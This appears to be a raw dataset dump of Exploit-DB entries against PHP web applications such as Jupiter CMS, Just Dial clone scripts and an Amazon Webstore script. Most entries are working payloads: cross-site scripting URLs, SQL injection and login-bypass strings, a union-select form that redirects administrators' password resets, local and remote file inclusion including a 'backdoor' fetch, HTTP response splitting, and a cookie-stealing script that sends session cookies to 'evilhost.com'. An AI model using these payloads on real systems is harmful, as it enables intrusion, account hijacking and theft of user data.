deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28582
Description: Jupiter CMS 1.1.4/1.1.5 - '/modules/blocks.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-09-15
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20048/info
 
Jupiter CMSA is prone to multiple input-validation vulnerabilities, including cross-site scripting, SQL-injection, and arbitrary file-upload issues, because the application fails to sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or upload and execute arbitrary files within the webserver process. Other attacks are also possible.

http://www.example.com/modules/blocks.php?is_webmaster=2&language[Admin%20name]=<script>alert(document.cookie);</script> 
http://www.example.com/modules/blocks.php?is_webmaster=2&language[Admin%20back]=<script>alert(document.cookie);</script>
Exploit-DB #28584
Description: Jupiter CMS 1.1.4/1.1.5 - '/modules/mass-email.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-09-15
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20048/info
   
Jupiter CMSA is prone to multiple input-validation vulnerabilities, including cross-site scripting, SQL-injection, and arbitrary file-upload issues, because the application fails to sanitize user-supplied input. 
   
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or upload and execute arbitrary files within the webserver process. Other attacks are also possible.
  
http://www.example.com/modules/mass-email.php?language[Mass-Email%20form%20title]=<script>alert(document.cookie);</script> 
http://www.example.com/modules/mass-email.php?language[Mass-Email%20form%20desc]=<script>alert(document.cookie);</script> 
http://www.example.com/modules/mass-email.php?language[Mass-Email%20form%20desc2]=<script>alert(document.cookie);</script>
Exploit-DB #28583
Description: Jupiter CMS 1.1.4/1.1.5 - '/modules/register.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-09-15
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20048/info
  
Jupiter CMSA is prone to multiple input-validation vulnerabilities, including cross-site scripting, SQL-injection, and arbitrary file-upload issues, because the application fails to sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or upload and execute arbitrary files within the webserver process. Other attacks are also possible.
 
http://www.example.com/modules/register.php?is_guest=1&language[Register%20title]=<script>alert(document.cookie);</script> 
http://www.example.com/modules/register.php?is_guest=1&language[Register%20title2]=<script>alert(document.cookie);</script>
http://www.example.com/modules/register.php?is_guest=1&a=3&language[Forgotten%20title]=<script>alert(document.cookie);</script> 
http://www.example.com/modules/register.php?is_guest=1&a=3&language[Forgotten%20desc]=<script>alert(document.cookie);</script> 
http://www.example.com/modules/register.php?is_guest=1&a=3&language[Forgotten%20desc2]=<script>alert(document.cookie);</script>
Exploit-DB #28585
Description: Jupiter CMS 1.1.4/1.1.5 - '/modules/search.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-09-15
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20048/info
    
Jupiter CMSA is prone to multiple input-validation vulnerabilities, including cross-site scripting, SQL-injection, and arbitrary file-upload issues, because the application fails to sanitize user-supplied input. 
    
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or upload and execute arbitrary files within the webserver process. Other attacks are also possible.

http://www.example.com/modules/search.php?language[Search%20view%20desc]=<script>alert(document.cookie);</script> 
http://www.example.com/modules/search.php?language[Search%20view%20desc2]=<script>alert(document.cookie);</script>
Exploit-DB #28581
Description: Jupiter CMS 1.1.4/1.1.5 - 'galleryuploadfunction.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2006-09-15
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20048/info

Jupiter CMSA is prone to multiple input-validation vulnerabilities, including cross-site scripting, SQL-injection, and arbitrary file-upload issues, because the application fails to sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or upload and execute arbitrary files within the webserver process. Other attacks are also possible.

Upload any picture to their gallery http://www.example.com/modules/galleryuploadfunction.php picture path will be gallery/albums/public/name.ext
Exploit-DB #28586
Description: Jupiter CMS 1.1.4/1.1.5 - modules/register Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-09-15
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20048/info
     
Jupiter CMSA is prone to multiple input-validation vulnerabilities, including cross-site scripting, SQL-injection, and arbitrary file-upload issues, because the application fails to sanitize user-supplied input. 
     
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or upload and execute arbitrary files within the webserver process. Other attacks are also possible.
 
if magic_quotes_gpc = off login with user name : ' or id=1/* or ' or authorization = 4/* 
index.php?n=http://www.example.com/modules/register&a=3&d=3&key='%20or%20id=1/* 
You will be able to change the password for any user .. know his id and put it in the url. -- or you can use this form by changing http://localhost/jupiter/ to the website dir to recive reset password email to all the administrators <form method="post" action="http://localhost/jupiter/index.php?n=http://www.example.com/modules/register"> <table class="main" cellspacing="1" cellpadding="4" width="100%"> <tr class="head"> <td colspan="2" class="head">Forgot your password?</td> </tr> <tr> <td class="con1" width="42%" valign="middle"><span class="hilight">Username:</span></td> <td class="con1" width="58%" valign="bottom"><input type="text" name="fpwusername" style="width:100%" class="box" tabindex="5" value="' union select id,authorization ,username ,password ,'security@soqor.net',url,age,flag,location,registered,lastvisit,forum_lastvisit,ip,forumposts,signature,aboutme,msn,yahoo,icq,aim,skype,avatar,hideemail,templates,ca lendarbday,status,multikey,actime from users where id=1or authorization=4/*"></td> </tr> <tr> <td class="con1"><input type="button" style="width:100" class="box" value="Back" onClick="window.history.go(-1);" tabindex="8"></td> <td class="con1" align="right"><input type="submit" style="width:100" class="box" value="Submit" tabindex="7"></td> </tr> <input type="hidden" name="a" value="3"> <input type="hidden" name="d" value="1"> </table> </form> put the user name value Change security@soqor.net to your email ' union select id,authorization ,username ,password ,'security@soqor.net',url,age,flag,location,registered,lastvisit,forum_lastvisit,ip,forumposts,signature,aboutme,msn,yahoo,icq,aim,skype,avatar,hideemail,templates,ca lendarbday,status,multikey,actime from users where id=1or authorization=4/*
Exploit-DB #3309
Description: Jupiter CMS 1.1.5 - '/index.php' Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-14
Author: DarkFig

Exploit:
Title:          Jupiter CMS 1.1.5 Multiple Vulnerabilities
Advisory ID:    12070214
Risk level:     High
Author:         DarkFig <gmdarkfig@gmail.com>
URL:            http://www.acid-root.new.fr/advisories/12070214.txt

Risk level: High
Summary:    Local/Remote File Inclusion
Conditions: LFI: magic_quotes_gpc = Off
            RFI: PHP >= 5.0.0, allow_url_fopen = On

The script "index.php" contains the following code:

if(isset($n))
{
  if(file_exists("$n.php"))
  {
    if(strpos($n, "../") !== false) header("location: $PHP_SELF?i=error");
    else include("$n.php");
  }
  elseif(!file_exists("$n.php")) header("location: $PHP_SELF?i=error");
}

The "n" parameter isn't properly filtered, this can lead to file inclusion.
Local file inclusion will work if magic_quotes_gpc=Off, the null byte char \x00
is required. Remote file inclusion will work if the server is running on PHP >= 5.
In this version, the file_exists() function can be used with some URL wrappers,
you can use ftp:// for example. Simple poc:

LFI: http://<host><path>/index.php?n=/etc/passwd%00
RFI: http://<host><path>/index.php?n=ftp://user:password@example.com/backdoor

# milw0rm.com [2007-02-14]
Exploit-DB #27578
Description: Jupiter CMS 1.1.5 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-07
Author: KaDaL-X

Exploit:
source: https://www.securityfocus.com/bid/17405/info

Jupiter CMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/jupiter/index.php?n=modules/online&&a=1&language=1&layout=%3Ch1%3E%3Cmarquee%3Ealooo
Exploit-DB #28430
Description: Jupiter CMS 1.1.5 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-26
Author: D3nGeR

Exploit:
source: https://www.securityfocus.com/bid/19721/info

Jupiter CMS is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

Version 1.1.5 is vulnerable to this issue; other versions may also be affected.

This BID has been retired.

http://www.example.com/path/index.php?template=[Evil Code]
Exploit-DB #1576
Description: Jupiter CMS 1.1.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-11
Author: Nomenumbra

Exploit:
Jupiter CMS <= 1.1.5 multiple XSS attack vectors.

Discovered by: Nomenumbra/[0x4F4C] Date: 3/11/2006 impact:high (privilege escalation,site defacement)

Jupiter CMS (http://www.highstrike.net/) is a dynamic CMS system like mambo or limbo, allowing users
to subscribe and posts events. Because no filtering is done upon [image] BBcode input, any user is
capable of inserting arbitrary javascript code, allowing for credential theft leading/session
hijacking and possibly site defacement.

Examples:

This would make a messagebox pop up saying 'XSS', whenever the events get loaded (on the main page,
calender,etc): [image=javascript:alert('XSS')]

This would allow an attacker to steal session ID's, which he could insert into his own cookie to
hijack sessions and elevate his/her privileges:

[image=javascript:window.navigate('http://www.evilhost.com/cookiestealer.php?c='+document.cookie)]

It would be used with SjaakRake's cookie stealer (http://www.milw0rm.com/exploits/1103), with maybe
the addition of a header("location: ".<anythinghere>), to redirect the user to a page of your choice,
to avoid suspicion and disclosure of your cookiestealer's location.

This injections would allow an attacker to redirect users to a page of his choice, effectively
defacing the page:

[image=javascript:window.navigate('http://www.evilhost.com/pwned.html')]

As you can see the possibilities are limitless, as long as you have a bit of fantasy!

Nomenumbra/[0x4F4C]

Questions: zerogue@gmail.com Site: http://0x4f4c.awardspace.com

# milw0rm.com [2006-03-11]
Exploit-DB #15621
Description: Jurpopage 0.2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-27
Author: Sudden_death

Exploit:
=========================================================
Jurpopage SQL Injection
=========================================================

# Exploit Title     : Jurpopage SQL Injection
# Date              : 24 Noveber 2010
# Author            : Sudden_death (suddendeath404@yahoo.com)
# Platform/Tested on: Windows XP 2 SP 2
# myweb             : http://sudden.isgreat.org
# Version			: Jurpopage 0.2.0
# Software Link:    : http://jurpo.com/?category=100
# dork              : your imagination
======================================================================

# vuln here

SQLi : http://127.0.0.1/path/category=[sqli] 
ex : parameter : category= or etc.

[#]-------------------------------------------------------------------

Spesial thanks to all admin, all staff and all crews..... (takut ada yg ngerasa 
di anak tirikan karena ga tersebut nicknya)

[#]-------------------------------------------------------------------
note : jangan mengatakan setiap apa yang engkau ketahui tapi ketahuilah setiap 
apa yang kau katakan!
Exploit-DB #41724
Description: Just Another Video Script 1.4.3 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-26
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Just Another Video Script 1.4.3 - SQL Injection
# Google Dork: N/A
# Date: 25.03.2017
# Vendor Homepage: http://justanothervideoscript.com/
# Software: http://justanothervideoscript.com/demo
# Demo: http://javsdemo.com/
# Version: 1.4.3
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/ajaxglobalfunc.php?func=addfav&vid_id=[SQL]
# http://localhost/[PATH]/ajaxglobalfunc.php?func=flag&vid_id=[SQL]
# http://localhost/[PATH]/ajaxplay.php?vidid=[SQL]
# # # # #
Exploit-DB #40470
Description: Just Dial Clone Script - 'fid' SQL Injection
Type: webapps
Platform: php
Date: 2016-10-06
Author: OoN_Boy

Exploit:
[x]========================================================================================================================================[x]
 | Title        : Just Dial Clone Script SQL & XSS Vulnerabilities
 | Software     : Just Dial Clone
 | Vendor       : http://www.i-netsolution.com/
 | Demo         : http://www.i-netsolution.com/item/just-dial-clone/live_demo/423618
 | Date         : 06 October 2016
 | Author       : OoN_Boy
[x]========================================================================================================================================[x]
  
  
  
[x]========================================================================================================================================[x]
 | Technology       : PHP
 | Database         : MySQL
 | Price            : $ 299
 | Description      : If you wish to launch your own business directory website, we have a readymade solution for you which supports unlimited
 categories, uses and secure code. Our Company Catalogue Listing Script is just the right script for you
[x]========================================================================================================================================[x]
  
  
[x]========================================================================================================================================[x]
 | Exploit      : http://localhost/jus/restaurants-details.php?fid=%Inject_Here%21
 | Admin Page	: http://localhost/[path]/admin/index.php  
[x]========================================================================================================================================[x]
  
  
  
[x]========================================================================================================================================[x]
 | Proof of concept SQL	: http://localhost/jus/restaurants-details.php?fid=%Inject_Here%21
[x]========================================================================================================================================[x]
  
[x]========================================================================================================================================[x]
 | Greetz   :   antisecurity.org batamhacker.or.id
 |              Vrs-hCk NoGe Jack zxvf Angela h4ntu reel dono Zhang aJe H312Y yooogy mousekill }^-^{ martfella noname s4va
 |              k1tk4t str0ke kaka11 ^s0n g0ku^ Joe Chawanua Ntc xx_user s3t4n IrcMafia em|nem Pandoe Ronny rere
[x]========================================================================================================================================[x]
 
[x]========================================================================================================================================[x]
| Hi All long time no see ^_^
[x]========================================================================================================================================[x]
Exploit-DB #40612
Description: Just Dial Clone Script - 'srch' SQL Injection
Type: webapps
Platform: php
Date: 2016-10-21
Author: Arbin Godar

Exploit:
# Exploit Title: SQL Injection in Just Dial Clone Script
# Date: 20 October 2016
# Exploit Author: Arbin Godar
# Website : ArbinGodar.com
# Vendor: http://www.i-netsolution.com/

*----------------------------------------------------------------------------------------------------------------------*

# Proof of Concept SQL Injection/Exploit :
http://localhost/[PATH]/category-view-list.php?srch=PoC%27

*----------------------------------------------------------------------------------------------------------------------*
Exploit-DB #41045
Description: Just Dial Marketplace - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Admin Login Bypass & SQLi
# Date: 13.01.2017
# Vendor Homepage: http://scriptfirm.com/
# Script Name:  Just Dial Marketplace Script
# Script Buy Now: http://scriptfirm.com/just-dial-marketplace
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# http://localhost/[PATH]/admin/ and set Username and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #42639
Description: Just Dial Marketplace 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Just Dial Marketplace Software 1.0 - SQL Injection
# Dork: N/A
# Date: 09.09.2017
# Vendor Homepage: http://scriptzee.com/
# Software Link: http://scriptzee.com/best-softwares/just-dial-marketplace
# Demo: http://classified.scriptzee.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept:
# 
# http://localhost/[PATH]/result/[SQL]/eFe
# http://localhost/[PATH]/business/[SQL]/eFe
# 
# Etc..
# # # # #
Exploit-DB #25560
Description: Just William's Amazon Webstore - 'Closeup.php?Image' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-28
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13419/info

Amazon Webstore is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue reportedly affects Amazon Webstore version 04050100; other versions may also be vulnerable. 

http://www.example.com/closeup.php?image=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25564
Description: Just William's Amazon Webstore - 'CurrentIsExpanded' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-28
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13425/info

Amazon Webstore is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue reportedly affects Amazon Webstore version 04050100; other versions may also be vulnerable. 

http://www.example.com/index.php?currentIsExpanded=0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&currentNumber=8
Exploit-DB #25566
Description: Just William's Amazon Webstore - 'CurrentNumber' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-28
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13427/info

Amazon Webstore is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue reportedly affects Amazon Webstore version 04050100; other versions may also be vulnerable. 

http://www.example.com/uk/list/c/software_CAD_Technical_60002_uk.htm?currentNumber=4.3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&currentIsExpanded=0
Exploit-DB #25565
Description: Just William's Amazon Webstore - 'searchFor' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-28
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13426/info

Amazon Webstore is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue reportedly affects Amazon Webstore version 04050100; other versions may also be vulnerable. 

http://www.example.com/index.php?function=search&searchFor=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25567
Description: Just William's Amazon Webstore - HTTP Response Splitting
Type: webapps
Platform: php
Date: 2005-04-28
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13428/info

Amazon Webstore is prone to a HTTP response splitting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

A remote attacker may exploit this vulnerability to influence or misrepresent how Web content is served, cached or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust.

This issue reportedly affects Amazon Webstore version 04050100; other versions may also be vulnerable. 

http://www.example.com/store/uk/product/">%0d%0aSet-Cookie:%20HTTP_response_splitting%3dYES%0d%0aFoo:%20bar.htm